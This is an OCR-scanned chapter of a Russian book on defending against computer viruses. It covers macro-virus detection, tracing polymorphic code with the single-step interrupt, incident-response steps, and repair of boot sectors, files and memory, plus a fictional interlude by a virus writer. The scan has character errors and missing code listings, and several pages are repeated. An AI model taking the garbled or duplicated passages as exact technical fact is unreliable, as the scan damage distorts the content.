Разобравшись в вышеприведенном дампе, легко разработать алгоритм обна ружения и лечения DOC-файлов, зараженных вирусом Сар. Для лечения зараженного DOC-файла вполне достаточно сбросить признак "шаблона". Удалять собственно код макроса при этом не обязательно. Для лечения за раженного шаблона, например, NORMAL.DOT, необходимо в макрозаголовке скоррек тировать поле "Количество макросов" и исправить число и содержимое описателей макросов, что не должно вызвать затруднений при условии знания структур данных. Термин "сигнатура макровируса" имеет в точности такое же значение, что и в случае с СОМ- и ЕХЕ-вирусами. Более того, пока не существует полностью поли морфных макровирусов ( "полиморфность" часто заключается в вариации порядком размещения и числом макросов), а значит — макровирус всегда может быть опреде лен и однозначно детектирован при помощи аппарата сигнатур. Единственное отличие обусловлено тем, что поскольку макровирусы пишут ся на языке высокого уровня, то одному оператору может соответствовать довольно длинная байтовая последовательность. Учитывая тот факт, что некоторые операторы и группы операторов являются типовыми как для вирусов, так и для "нормальных" макросов, приходим к выводу, что для надежного детектирования длина сигнатуры должна составлять минимум несколько десятков байтов. Кроме того, принцип сигнатур можно использовать для предсказания нали чия в DOC-файле неизвестного (нового) вируса. Автору пока не известен полный на бор компилированных кодов и алгоритм декомпиляции, но с большой долей уверенности можно утверждать, что следующие байты в теле макроса:
являются 16-ричным кодом для команды МасгоСору. Обнаружение и удаление вирусных макросов существенно облегчается в слу чае использования языка WordBasic, хотя имеет при этом свои особенности. Целесообразно использовать для этой цели принцип переопределения стан дартных макросов, в частности FileOpen (а также, возможно, SheltOpen). Поскольку i приходится загружать потенциально больные документы, необходимо использовать команду DisableAutoMacros для предотвращения старта вируса. Приведем пример макроса, выполняющего роль простейшей вакцины для ви руса Сар:
389
Методы защиты
Необходимо создать макрос с именем FileOpen, поместить в него вышеприве денный текст (можно без комментариев) и сохранить в шаблоне NORMAL.DOT. При загрузке зараженного документа на экран будет выдано окно с текстом предупрежде ния. Пользователь имеет возможность продолжить работу с зараженным докумен том, либо немедленно прекратить ее.
Как распознать полиморфный вирус Мы уже отмечали ранее, что основным методом распознавания вируса явля ется использование его сигнатуры — уникальной последовательности байтов, харак терной для данного вируса. Но в последние годы широкое распространение получили вирусы, не имеющие постоянных сигнатур. Такие вирусы называются "по лиморфными" (в старых источниках можно, например, было встретить термин вирус-"призрак"). Полиморфные вирусы в зависимости от используемых приемов иногда разбивают на классы и группы: собственно полиморфики, олигоморфики, пермутанты и пр. Расширим несколько понятие сигнатуры, введенное ранее в этой статье. На зовем сигнатурой множество из N троек {Ki,Pi,Bi}, i= l.. N, где Ki — порядковый но мер выполняемой значимой команды, Pi — номер байта в этой команде, Bi-значение этого байта. Поясним понятие "порядковый номер выполняемой значимой команды". Под "порядковым номером выполняемой команды" будем понимать номер ко манды в процессе выполнения, а не в файле или памяти, т.е. номер команды, взятый в динамике. Например, для случая
390
Здесь 3-я исполняемая команда не CLI, как могло бы показаться на первый взгляд, a NOP, т.к. код именно этой команды формируется на месте 3-й команды в процессе выполнения. Под "значимой командой" будем понимать команду, важную с точки зрения выполнения алгоритма. Это самая "нечеткая" часть определения. Рассмотрим при мер алгоритма кодирования блока памяти:
В этом фрагменте вполне можно обойтись без команд NOP, JMP LABEL и MOV AX,AX, т.к. они никоим образом не влияют на ход выполнения алгоритма. Это "мусорные" команды. Все остальные команды важны для правильной работы алго ритма, это — "значимые" команды. Таким образом, для практического применения нового понятия сигнатуры не обходимо умение перемещаться по командам программы в том порядке, в каком они выполняются в программе, а не в том, в каком они лежат в файле и в памяти. Как мы уже отмечали ранее, современные антивирусы используют метод эму ляции команд. Дизассемблируя каждую очередную команду, они определяют выпол няемое ей действие и моделируют это действие на своих внутренних переменных. Этот метод крайне сложен и трудоемок. Желающих использовать его в своих антивирусных опусах могу направить за консультацией к Игорю Данилову, Евгению Касперскому или Валентину Колесникову. Мы же попробуем применить другой метод, более простой. Он основан на ис пользовании механизма трассировочных прерываний. Микропроцессоры Intel имеют следующую полезную особенность: при уста новленном в единицу бите Т регистра флагов, после исполнения каждой команды ав томатически вызывается 1-е прерывание. Отладчики используют этот механизм для пошагового исполнения программ. Вирусы используют этот механизм для определения оригинального адреса обработ чиков прерываний с целью обхода резидентных сторожей. Мы попытаемся исполь зовать этот механизм для последовательного исполнения команд программы, подозреваемой на вирус. Для запуска механизма достаточно установить свой обра ботчик 1-го прерывания и выставить бит Т регистра флагов, например так: push 303h popf Обработчик 1-го прерывания должен анализировать выполняемые команды (их адрес хранится в стеке) и, например, проверять их байты на соответствие сигна-
391
Методы защиты туре при наступлении определенного момента времени (например, при окончании расшифровки вирусом своего тела). Программа trasser использует также недокументированную возможность DOS, позволяющую загрузить программу в память, но не выполнять ее, а просто вернуть точку входа. Эта возможность доступна через подфункцию 1 функции 4Bh прерывания 2In. Загрузив программу в память, мы выполняем запуск механизма трассировки и пе редаем управление загруженной программе, тем самым запуская ее на выполнение. По завершении контролируемой программы из стека извлекается флаг без бита Т, и к мо менту возврата в trasser трассировка оказывается отключенной. В Internet вы можете найти исходный текст программы простого "псевдо вируса" — программы easymut, модифицирующей свой код после каждого запус ка. Этот "псевдовирус" использует простую идею шифровки своего тела по случайному ключу и случайную модификацию расшифровщика на основе альтер нативных команд. Программа trasser умеет распознавать программу easymut во всех ее модифи кациях, отличая ее ото всех других программ. Разумеется, необходимость запуска подозрительных на вирус программ вы глядит несколько забавной для использования в "серьезном" антивирусе. Кроме то го, настоящий вирус всегда может легко и просто "обломить" трассировку, например, использовав команду pop ss. Но для автора было важным только продемонстрировать саму идею. Также в Internet вы найдете и саму программу SmegKill, которая использует аналогичный подход к лечению полиморфных вирусов семейства SMEG (автор без проблем обнаружил ее в Интернете уже после написания данного текста).
Что делать, если ЭТО произошло? Снова и снова задаются люди этим вопросом. Общий ответ на этот вопрос не возможен. Несмотря на то, что распознать начало заражения вообще чрезвычайно трудно, дальнейшие действия зависят в первую очередь от значимости оборудова ния,, программы и данных. В экстремальных случаях одно лишь подозрение в воз можном заражении может повлечь за собой полное выключение оборудования и уничтожение всех данных и программ. Однако в виду того, что читатель этой книги, как правило, не относится к владельцам оборудования со столь важными данными, нужно не доводить дело до таких экстремальных случаев. Предлагаем несколько со ветов, которые помогут читателю минимизировать риск распространения вируса. Ра зумеется момент, в который необходимо переходить к перечисленным ниже мероприятиям, определяется самим пользователем и зависит, как уже упоминалось, от важности собственно вычислительного оборудования и актуальности данных. Вот тринадцать шагов (да, да, тринадцать), которые помогут Вам избежать се рьезных последствий:
392
Методы защиты 1. Успокоиться, выпить чашечку кофе, покурить (для тех, кто еще не избавился от этой вредной привычки). 2. Выключить оборудование (отключить питание). Таким образом, любое дальней шее распространение вируса прекращается. Кроме того, удаляются вирусы, рези дентные в оперативной памяти. 3. Отсоединить все линии передачи данных, оставив подключенными лишь необхо димые для работы процессора периферийные устройства. Таким образом, можно: •
исключить возможность распространения "инфекции" за пределами ЭВМ;
•
перекрыть пути внедрения вирусов в процессор извне;
4. Носители данных, защитить от записи (насколько это возможно). Для дискеты это означает заклейку прорези, предназначенной для защиты, для больших дис ков (типа Control Data) или для магнитной ленты (и такое бывает) — это означа ет, обычно, выключение тумблера "защита записи". Таким образом, предотвращается дальнейшее распространение заражения. 5. Использовать для нового запуска оригинальную версию операционной системы. Так называется полученная с поставкой и, чаще всего, защищенная от записи дискета (или сменный диск). Резервная копия, смотря по обстоятельствам, уже может быть зараженной! 6. Данные и программы скопировать на новый носитель данных и опечатать. Эта информация может помочь при устранении повреждений, поскольку служит до казательством претензий к виновнику. Кроме того, она может оказаться чрезвы чайно важной в том случае, когда резервная копия испорчена (вирусом или чем-либо другим). Опечатывание должно воспрепятствовать несанкционирован ному использованию носителя данных. 7. Все старые носители данных системы отформатировать. Вновь удалить защиту записи и предпринять форматирование. Посредством форматирования удаляются все, возможно находящиеся на носителе данных, вирусы. 8. Оригинальную версию программного обеспечения использовать для восстанов ления. Для оригинальной версии, которая как правило, защищена от записи, мож но предполагать отсутствие вирусов. 9. Сохранное состояние данных проверить на целостность. Резервные копии дан ных должны быть проверены, чтобы гарантировать, что с ними не производилось никаких манипуляций (при этом для данных нет никакой опасности, они могут быть только изменены). 10. Если целостность была установлена, данные переносятся в систему. Если опре деленно установлено, что состояние данных не изменялось, они без всяких со мнений могут быть использованы в дальнейшем. П. Если целостность не может быть гарантирована, последняя резервная копия, для которой эта целостность установлена, используется для реставрации данных. Ино гда это может означать, что необходимо вернуться к очень старым копиям данных. 12. Опечатанные записи программ передаются на исследовательское оборудование, предназначенное для поиска вирусов, чтобы либо подтвердить предположение о
\
393
Методы защиты заражении, либо отказаться от него. Адреса вирусных лабораторий указаны в этой книге. Распознавание вирусов позволит другим пользователям надежно от них защититься. 13. Для работы устанавливают тестирующее или защитное программное обеспече ние и тщательнейшим образом тестируют систему. Каждое необычное изменение в характеристиках вычислительного оборудования протоколируется и этот прото кол передают на соответствующее исследовательское оборудование. Эти шаги тоже не обещают полной гарантии, но риск дальнейшего распрост ранения может быть ощутимо уменьшен. Особенно важно каждый вновь обнаружен ный вирус каталогизировать с помощью исследовательского оборудования для того, чтобы своевременно предупредить о возможной опасности остальных пользователей.
Как работать на зараженном файловым вирусом винчестере Иногда приходится работать на компьютере, который постоянно инфицирует ся либо любителями компьютерных игр, либо по каким-то другим причинам. В этом случае можно избежать заражения используемых программ путем создания искусст венной мишени для вируса. Поскольку подавляющее большинство файловых виру сов заражает программу при ее запуске, можно обмануть вирус двумя основными способами. Во-первых, можно предварительно переименовать все файлы типа СОМ и ЕХЕ (например, в PGM и LNK) и использовать для их запуска на выполнение вир туальный диск. При этом достаточно написать простые ВАТ-файлы, в которых про грамма сначала копируется на виртуальный диск, затем переименовывается, выполняется и удаляется. При отсутствии достаточного количества оперативной па мяти для организации виртуального диска требуемого размера, для этой цели можно использовать один из разделов винчестера, хотя это несколько замедляет работу. Более высокую степень защиты обеспечивает модификация этого способа, основанная на свертке каталога архиватором. При этом процедура запуска аналогич на предыдущей, однако на первом шаге ВАТ-файла вместо копирования соответству ющий файл сначала разархивируется на виртуальный диск (или раздел винчестера). Преимуществом этого способа (если держать архиватор на виртуальном диске) явля ется экономия места на диске, а недостатком — увеличение времени поиска про грамм при загрузке, связанное с просмотром архива. Этот способ появился после одного неудачного эксперимента с вирусом RCE-1800, когда "вырвавшийся на свобо ду" вирус заразил несколько десятков файлов на винчестере. Для "монстрообразных" программ (например, программ, написанных на Clipper'e (это такой древний умирающий язык программирования)) более удобно ис пользование архиватора LZEXE. Например, программа PCTools занимает на диске около 200К, половину из которых можно сэкономить, сжав ее с помощью LZEXE.
394
Методы защиты
Методика восстановления информации Необходимо отметить, что даже в достаточно тяжелых случаях, восстановле ние поврежденной информации чаще всего возможно (по крайней мере, частичное), однако требует достаточно высокой квалификации. Именно в этот момент "вступают в игру" архивированные системные блоки, наличие которых на дискете позволяет су щественно облегчить восстановление. Наряду со свежими архивными копиями сис темных блоков в такой ситуации важное значение имеет наличие системных программистов, способных оценить характер и объем повреждения, а также умею щих выполнить восстановление при разрушенных или отформатированных систем ных блоках или других массивных повреждениях файловой системы. При отсутствии собственных системных программистов, представляется оправданным приглашение их со стороны. Профессиональные организации программистов также могут оказать помощь в восстановлении информации. Конечно, степень усилий во многом зависит от ценности потерянной информации. В силу ограниченности объе ма книги остановимся лишь на наиболее общих принципах организации восстанов ления информации.
Восстановление пораженных объектов В большинстве случаев заражения вирусом процедура восстановления зара женных файлов и дисков сводится к запуску подходящего антивируса, способного обезвредить систему. Если же вирус неизвестен ни одному антивирусу, то достаточ но отослать зараженный файл фирмам-производителям антивирусов и через некото рое время (обычно — несколько дней или недель) получить лекарство-"апдейт" против вируса. Если же время не ждет, то обезвреживание вируса придется произве сти самостоятельно.
(
Восстановление файлов-документов и таблиц
Для обезвреживания Word и Excel достаточно сохранить всю необходимую информацию в формате не-документов и не-таблиц— наиболее подходящим являет ся текстовый RTF-формат, содержащий практически всю информацию из первона чальных документов и не содержащий макросов. Затем следует выйти из Word/Excei, уничтожить все зараженные Word-документы, Excel-таблицы, NORMAL.DOT у Word и все документы/таблицы в Startup-каталогах Word/Excel. После этого следует запустить Word/Excel и восстановить документы/таблицы из RTF-файлов. В результате этой процедуры вирус будет удален из системы, а практически вся информация останется без изменений. Однако этот метод имеет ряд недостатков. Основной из них — трудоемкость конвертирования документов и таблиц в RTF-фор мат, если их число велико. К тому же в случае Excel необходимо отдельно конверти ровать все Листы (Sheets) в каждом Excel-файле. Второй недостаток — потеря невирусных макросов, используемых при работе. Поэтому перед запуском описан ной процедуры следует сохранить их исходный текст, а после обезвреживания виру са — восстановить необходимые макросы в первоначальном виде.
395
Методы защиты
Восстановление загрузочных секторов Восстановление секторов в большинстве случаев является довольно простой операцией и проделывается при помощи DOS'OBCKOH команды SYS (загрузочные сек тора дискет и логических дисков винчестера) или командой FDISK/MBR (Master Boot Record винчестера). Можно, конечно же, воспользоваться утилитой FORMAT, однако практически во всех случаях команды SYS вполне достаточно. Следует иметь в виду, что лечение секторов необходимо производить только при условии отсутст вия вируса в оперативной памяти. Если копия вируса в памяти не обезврежена, то вполне вероятно, что вирус повторно заразит дискету или винчестер после того, как код вируса будет удален (даже если воспользоваться утилитой FORMAT). Будьте также крайне осторожны при использовании FDISK/MBR. Эта коман да заново переписывает код программы-загрузчика системы и не изменяет таблицу разбиения диска (Disk Partition Table). FDISK/MBR является 100% лекарством для большинства загрузочных вирусов, однако, если вирус шифрует Disk Partition Table или использует нестандартные способы заражения, FDISK/MBR может привести к полной потере информации на диске. Поэтому перед запуском FDISK/MBR убеди тесь в корректности Disk Partition Table. Для этого требуется загрузиться с кезараженной DOS-дискеты и проверить корректность этой таблицы (наиболее удобная программа для этой цели — Norton Disk Editor). Если же восстановление секторов при помощи SYS/FD1SK невозможно, то следует разобраться в алгоритме работы вируса, обнаружить на диске первоначаль ный boot/MBR-сектор и перенести его на законное место (для этого подходят Norton Disk Editor или AVPUTIL). При этом надо постоянно иметь в виду, что при перезапи си системных загрузчиков необходимо соблюдать особую осторожность, поскольку результатом неправильного исправления сектора MBR или boot-сектора может быть потеря всей информации на диске (дисках).
Восстановление файлов В подавляющем большинстве случаев восстановление зараженных файлов является достаточно сложной процедурой, которую невозможно произвести "рука ми" без необходимых знаний — форматов выполняемых файлов, языка ассемблера и т.д. К тому же обычно зараженными на диске оказываются сразу несколько десятков или сотен файлов и для их обезвреживания необходимо разработать собственную программу-антивирус (можно также воспользоваться возможностями редактора ан тивирусных баз из комплекта AVP версий 2.x). При лечении файлов следует учиты вать следующие правила: •
необходимо протестировать и вылечить все выполняемые файлы (СОМ, ЕХЕ, SYS, оверлеи) во всех каталогах всех дисков вне зависимости от атрибутов фай лов (т.е. файлы read-only, системные и скрытые);
•
желательно сохранить неизменными атрибуты и дату последней модификации файла;
396
Методы защиты необходимо учесть возможность многократного поражения файла вирусом ("бу терброд" из вирусов). Само лечение файла производится в большинстве случаев одним из нескольких • стандартных способов, зависящих от алгоритма размножения вируса. В большинстве случаев это сводится к восстановлению заголовка файла и уменьшению его длины.
Дезактивация оперативной памяти Процедура дезактивации памяти, как и лечение зараженных файлов, требует не которых знаний об операционной системе и обязательного знания языка Ассемблера. При лечении оперативной памяти необходимо обнаружить коды вируса и из менить их таким образом, чтобы вирус в дальнейшем не мешал работе антивирусной программы — "отключить" подпрограммы заражения и стеле Для этого требуется полный анализ кода вируса, так как процедуры заражения и стеле могут располагать ся в различных участках вируса, дублировать друг друга и получать управление при различных условиях. В большинстве случаев для дезактивации памяти достаточно 'обрубить" прерывания, перехватываемые вирусом: INT 2lh в случае файловых ви русов и INT 13h в случае загрузочных (существуют, конечно же, вирусы, перехваты вающие другие прерывания или несколько прерываний). Например, если вирус заражает файлы при их открытии, то это может выглядеть примерно так: Исходный код вируса
Код дезактивированного вируса
При дезактивации TSR-копии вируса необходимо помнить, что вирус может предпринимать специальные меры для восстановления своих кодов (например, неко торые вирусы семейства "Yankee" восстанавливают их при помощи методов помехозащищенного кодирования), и в этом случае придется нейтрализовать и механизм самовосстановления вируса. Некоторые вирусы, кроме того, подсчитывают CRC сво ей резидентной копии и перезагружают компьютер или стирают сектора диска, если CRC не совпадает с оригинальным значением. В этом случае необходимо "обезвре дить" также и процедуру подсчета CRC.
Перспективы развития После всего сказанного возникает естественный вопрос: что делать дальше? ie захлестнет ли волна вирусов наши ЭВМ? Разумеется, разрабатываются, новые средства защиты от вирусов. Однако даже самые совершенные защитные средства не принесут пользы, если опасность не будет осознана каждым пользователем ЭВМ, за ставляя его изменить привычную технику работы с машиной. Если же все останется также, как было до сих пор, взрыв компьютерной преступности неминуем.
397
Методы защиты Однако время приносит не только рост преступлений, реализуемых с помо щью ЭВМ. Растет также число исследований и разработок в области "вирусологии", правда на сегодня больше в теории, чем на практике. Автомодифицируемые и авторепродуциремые коды могут открыть дорогу к новым принципам программирования. Однако раздаются и предупреждения, в кото рых также как в отношении генной инженерии, звучит ужас перед возможной поте рей контроля над программами-вирусами.
Каким видится программное обеспечение в будущем Кругом темнота. Казалось, протяни руку и наткнешься на что -нибудь твер дое, но это все обман. Здесь нельзя что-нибудь увидеть, нельзя потрогать, здесь мож но только быть... 10:20pm Если можно так выразиться — НЕЧТО повернулось. Вслед за ним, сверкая огненными глазами ,мчалось другое НЕЧТО, злорадно усмехаясь несуществующим ртом. А вокруг — темнота, все та же необъяснимая темнота, которая покрывала со бой двух летящих во времени, не имеющих материальных форм, субстанций. Для них не существовало расстояния, для них не существовало ничего, кро ме времени, они неслись по реке, влекущей за собой бесчисленные формы жизни. 10:22pm Это был свет в конце туннеля. Он завлекал, он манил своим мягким теплым излучением и в тоже время оставался невидимым, как и все то, что было скрыто в темноте. Неприметный оазис жизни, замаскированный и прикрытый бесчисленными песчинками НЕЧТО, был все равно заметен, как белый лист бумаги на черном полот не. Он переливался несуществующими цветами, он явно обнаруживал себя призна ками, которых больше ни у чего не могло быть и убегающее НЕЧТО увидело брошенную ему веревку. Сколько до него? Нет, это не метры, это четыре минуты и сорок семь секунд. Тех самых, которых необходимо преодолеть, дабы окунуться в неведомый мир. Мир, построенный по другим законам. 10:26:47pm В этот момент я нажимал на кнопки. Перед глазами — бесчисленные буквы, натоптанные в течении четырех часов и белые, расплывающиеся круги от усталости. В буквальном смысле этого слова я падал на клавиатуру. Я медленно засыпал, я про клинал эту чертову работу и думал, как бы поскорее завалиться на кровать и уснуть сладким, долгим сном, однако для меня вечер только начинался. 10:28pm Или я схожу с ума, или мой компьютер заглючил. На короткое время экран по гас и затем включился снова, — ужас, правда? Ну да ладно, это могло быть что угод но, но как можно объяснить проскакивание каких-то неизвестных мне меню, которые были к тому же на русском языке?
398
Методы защиты Как можно объяснить лихорадочное кручение винта, со скоростью, большей, чем я могу себе представить и как можно объяснить странного рода звуки, со скре жетом вырывающиеся из динамика Саунд Бластера. Нет, это не для меня, за один ве чер это уже слишком. Только RESET может спасти меня, и я потянул руку к самой важной кнопке, однако последующее событие меня просто парализовало — посреди экрана, в маленькой рамочке с тенью, появилась надпись "Пожалуйста, не делай это го!". Готов поклясться, что это выглядело как-то умоляюще. Я был ошеломлен. По сле стольких слухов о крутых вирусах вы, надеюсь, поймете мое состояние. Мои мышцы отказывались шевелиться и через минуту — новая порция неожиданности. Надпись гласила: "Спасибо!". Думаю, что в тот момент я выглядел очень глупо. Кривая улыбка, отсутству ющий взгляд и все это из-за моего незнания о компьютерных саморазмиожающихся жителях среды MS-DOS. Мои размышления прервало еще одно событие, к которым я уже стал посте пенно привыкать, из динамика раздался приятный женский голос. Я не слышал, что она мне говорит, я просто пытался удержать равновесие и не упасть на пол. А она все продолжала "...затем они выпустили меня и предостави ли самостоятельно искать продолжения ..." — Какого продолжения, что она несет? Эй? — крикнул я в'надежде, что буду услышан. "Ты что-то сказал?" — неожиданно спросила моя непрошеная гостья, "Набе ри, пожалуйста, в нижней строке, а то я не слышу тебя, твои биотоки слишком сла бы для приема". Я послушался и повторил вопрос в письменном виде. "Ну теперь другое де ло, мы нашли с тобой общий язык" — ответила она, "но ты задал странный вопрос, как это я могу принести вред, не понимаю?" — Но я слышал, что большинство вирусов приносят вред! "Вирусов!? Ты думаешь я вирус?" — она мелодично рассмеялась и в след за этим экран покрылся маленькими цветочками, "На вашем языке меня можно назвать Система." Я был в шоке. Только этого мне не хватало. 10:42pm К оазису приближалось Нечто ужасное. Приближалось быстро и неумолимо. Большими волнами оно накатывалось и отступало, прыгало и отскакивало, натыка ясь на большую стену возведенной защиты. И стена постепенно поддавалась, каме шек за камешком рассыпалась она в безграничное море пустотьг, поглотившей мир вне источника жизни. Проблема встала только во времени, только во времени и бы ли все проблемы. 10:42:10pm "Жизнь -— это странная штука, правда?" — сказала Система.
399
— Да — ответил я, все еще не понимая, как у нее, получается, прибавлять к фразам интонацию, — а почему ты об этом говоришь? Последовала пауза, и я вос пользовался теми несколькими секундами, которые она, вероятно, выделила для раз мышлений, и посмотрел в окно. На вечернем небе проступили звезды. Как необычно, сегодня будет очень зве здная ночь а что же все-таки мне принесут эти звезды? Во внезапном порыве мыслей я повернулся к экрану и замер в недоумении. Посередине в рамочке было написано: "Нажми RESET". — Хорошо, — подумал я про себя и выполнил просьбу. Компьютер начал перегружаться, а тем временем ко мне в душу закрадыва лись сомнения. Что-то было здесь не так, чего-то не хватало в последнем сообщении. Через секунду я увидел привычную оболочку и попытался связаться со своей гос тьей. Попытки были тщетными. Что ж, все ясно. Я понял, чего не хватало в послед ней надписи — от нее веяло холодом, она была мертвой. После небольшого лирического отступления написанного известным вирмейкером Dirty Nazi, перейдем собственно к теме этой главы. Распространение вирусных программных кодов приводит к радикальным из менениям в области вычислительных средств. После бума вокруг так называемых "пакетов защиты" неизбежна мысль о создании защищенного от вирусов программ ного обеспечения. Вирусозащищенность в данном случае означает не только то, что эти про граммы должны сопровождаться хорошей документацией, позволяющей осуществ лять контроль на цельность программного обеспечения и наличие возможных изменений. Прежде всего в программном обеспечении необходимо отказаться от нераци ональной защиты, от копирования и использовать в нем стандартные программы, осуществляющие самоконтроль программного обеспечения каждый раз, когда это технически возможно. Некоторые виды установки программного обеспечения, особенно того, кото рое снабжается защитой от копирования, требуют такого режима использования вин честера или рабочих дискет, как если бы изготовители программных продуктов заплатили за дисководы и носители данных собственные деньги. Некоторые программы, как правило, создают на жестком диске или дискете пару дефектных блоков: этот не совсем порядочный по отношению к пользователю способ необходим только для размещения файлов, которые нужно замаскировать. Разработчики программного обеспечения часто относятся по отношению к аппарату ре клиента так, как будто она их собственная! Для сравнения читатель может пред ставить себе покупку нового легкового автомобиля в рамках арендного контракта: в день получения автомобиля продавец здоровенной кувалдой делает мощную вмяти ну на капоте, для того, как он поясняет, чтобы Вы не смогли тайком перепродать этот автомобиль!
400
Методы
защиты
Вообще говоря, защита от копирования для честного покупателя не нужна: купив оригинальную программу Вы больше не нуждаетесь в копировании ворован ной, если же Вы достали программу каким-то другим образом, Вам нет необходимо сти покупать оригинал. В лучшем случае владение похищенной программой может привести к покупке оригинальной из-за желания получить комплект соответствую щей документации и соответствующую поддержку поставщика. Разумеется, если по ставщик предлагает Вам такую же поддержку, как и похититель, т.е. никакой, он не смеет жаловаться на похитителя! На самом деле имя разработчика означает больше, чем право на продажу программ, но это понимают далеко не все. О самозащите Чтобы предотвратить манипуляции с программным обеспечением и данны ми, необходимо иметь в распоряжении стандартные программы, которые в состоя нии распознавать и указывать пользователю на: а) изменения программного обеспечения на носителе данных; б) изменения программного обеспечения в оперативной памяти. Хорошей основой для этого может послужить закодированная программа, что весьма сложно сделать "наружному"(т.е. находящемуся вне фирмы) специалисту, и которая распознает структуру программ и тем самым затрудняет нежелательную ма нипуляцию. Здесь необходимо еще раз подчеркнуть, что механизмы защиты, вклю чаемые в программное обеспечение лишь затрудняют манипуляции, но не могут полностью устранить их!
Насколько контролируемы вирусы Вопрос о контролируемости компьютерных вирусов возникает снова и снова. Как уже неоднократно подчеркивалось, для любого вида работ с вирусами необходи мо соблюдать особенную осторожность. При соблюдении всех мер предосторожнос ти, как показала работа с демонстрационными программами типа VIRDEM.COM или RUSH HOUR, вирусы не так уж опасны. Разумеется при работе с "опасными " вирусами важнее всего работать на полностью автономном оборудовании. Кроме то го, программист, определивший в конце концов свойства вируса, должен позаботить ся о том, чтобы ни одна из использованных процедур поиска по возможности не стала известна пользователю. Особенно секретными в этом отношении должны счи таться процедуры поиска свободного доступа. Для вирусов, использующих подоб ные процедуры, разработчик не может даже предугадать, какие программы станут его первыми жертвами. Если вирус с такой стратегией распространения попадает в большую вычислительную систему или в сеть ЭВМ, то это может привести к тому что сразу же после его обнаружения уже нельзя определить, какую дорогу изберет вирус. Тем самым дальнейшая работа системы означала бы недопустимый риск. Чрезвычайно проблематичным представляется также одновременное иссле дование внутри одной системы различных видов вирусов, с различной стратегией распространения. В этом случае экспериментатор с трудом может решить, какой из вирусов будет активирован первым. Причем решение такого рода именно для боль-
401
Методы защиты — Да •— ответил я, все еще не понимая, как у нее, получается, прибавлять к фразам интонацию, — а почему ты об этом говоришь? Последовала пауза, и я вос пользовался теми несколькими секундами, которые она, вероятно, выделила для раз мышлений, и посмотрел в окно. На вечернем небе проступили звезды. Как необычно, сегодня будет очень зве здная ночь и что же все-таки мне принесут эти звезды? Во внезапном порыве мыслей я повернулся к экрану и замер в недоумении. Посередине в рамочке было написано: "Нажми RESET". — Хорошо,.— подумал я про себя и выполнил просьбу. Компьютер начал перегружаться, а тем временем ко мне в душу закрадыва лись сомнения. Что-то было здесь не так, чего-то не хватало в последнем сообщении. Через секунду я увидел привычную оболочку и попытался связаться со своей гос тьей. Попытки были тщетными. Что ж, все ясно. Я понял, чего не хватало в послед ней надписи — от нее веяло холодом, она была мертвой. После небольшого лирического отступления написанного известным вирмейкером Dirty Nazi, перейдем собственно к теме этой главы. Распространение вирусных программных кодов приводит к радикальным из менениям в области вычислительных средств. После бума вокруг так называемых "пакетов защиты" неизбежна мысль о создании защищенного от вирусов программ ного обеспечения. Вирусозащищенность в данном случае означает не только то, что эти про граммы должны сопровождаться хорошей документацией, позволяющей осуществ лять контроль на цельность программного обеспечения и наличие возможных изменений. Прежде всего в программном обеспечении необходимо отказаться от нераци ональной защиты, от копирования и использовать в нем стандартные программы, осуществляющие самоконтроль программного обеспечения каждый раз, когда это технически возможно. Некоторые виды установки программного обеспечения, особенно того, котороеснабжается защитой от копирования, требуют такого режима использования вин честера или рабочих дискет, как если бы изготовители программных продуктов заплатили за дисководы и носители данных собственные деньги. Некоторые программы, как правило, создают на жестком диске или дискете пару дефектных блоков: этот не совсем порядочный по отношению к пользователю способ необходим только для размещения файлов, которые нужно замаскировать. Разработчики программного обеспечения часто относятся по отношению к аппарату ре клиента так, как будто она их собственная! Для сравнения читатель может пред ставить себе покупку нового легкового автомобиля в рамках арендного контракта: в день получения автомобиля продавец здоровенной кувалдой делает мощную вмяти ну на капоте, для того, как он поясняет, чтобы Вы не смогли тайком перепродать этот автомобиль!
400
Методы
защиты
Вообще говоря, защита от копирования для честного покупателя не нужна: купив оригинальную программу Вы больше не нуждаетесь в копировании ворован ной, если же Вы достали программу каким-то другим образом, Вам нет необходимо сти покупать оригинал. В лучшем случае владение похищенной программой может привести к покупке оригинальной из-за желания получить комплект соответствую щей документации и соответствующую поддержку поставщика. Разумеется, если по ставщик предлагает Вам такую же поддержку, как и похититель, т.е. никакой, он не смеет жаловаться на похитителя! На самом деле имя разработчика означает больше, чем право на продажу программ, но это понимают далеко не все. О самозащите Чтобы предотвратить манипуляции с программным обеспечением и данны|ми, необходимо иметь в распоряжении стандартные программы, которые в состоя нии распознавать и указывать пользователю на: а) изменения программного обеспечения на носителе данных; б) изменения программного обеспечения в оперативной памяти. Хорошей основой для этого может послужить закодированная программа, что весьма сложно сделать "наружному"(т.е. находящемуся вне фирмы) специалисту, и которая распознает структуру программ и тем самым затрудняет нежелательную ма нипуляцию. Здесь необходимо еще раз подчеркнуть, что механизмы защиты, вклю чаемые в программное обеспечение лишь затрудняют манипуляции, но не могут полностью устранить их!
»
Насколько контролируемы вирусы
Вопрос о контролируемости компьютерных вирусов возникает снова и снова. Как уже неоднократно подчеркивалось, для любого вида работ с вирусами необходи мо соблюдать особенную осторожность. При соблюдении всех мер предосторожнос ти, как показала работа с демонстрационными программами типа VIRDEM.COM или RUSH HOUR, вирусы не так уж опасны. Разумеется при работе с "опасными " вирусами важнее всего работать на полиостью автономном оборудовании. Кроме то го, программист, определивший в конце концов свойства вируса, должен позаботить ся о том, чтобы ни одна из использованных процедур поиска по возможности не стала известна пользователю. Особенно секретными в• этом отношении должны счи таться процедуры поиска свободного доступа. Для вирусов, использующих подоб ные процедуры, разработчик не может даже предугадать, какие программы станут :его первыми жертвами. Если вирус с такой стратегией распространения попадает в большую вычислительную систему или в сеть ЭВМ, то это может привести к тому, Но сразу же после его обнаружения уже нельзя определить, какую дорогу изберет вирус. Тем самым дальнейшая работа системы означала бы недопустимый риск. Чрезвычайно проблематичным представляется также одновременное иссле дование внутри одной системы различных видов вирусов, с различной стратегией [ распространения. В этом случае экспериментатор с трудом может решить, какой из [вирусов будет активирован первым. Причем решение такого рода именно для боль-
401
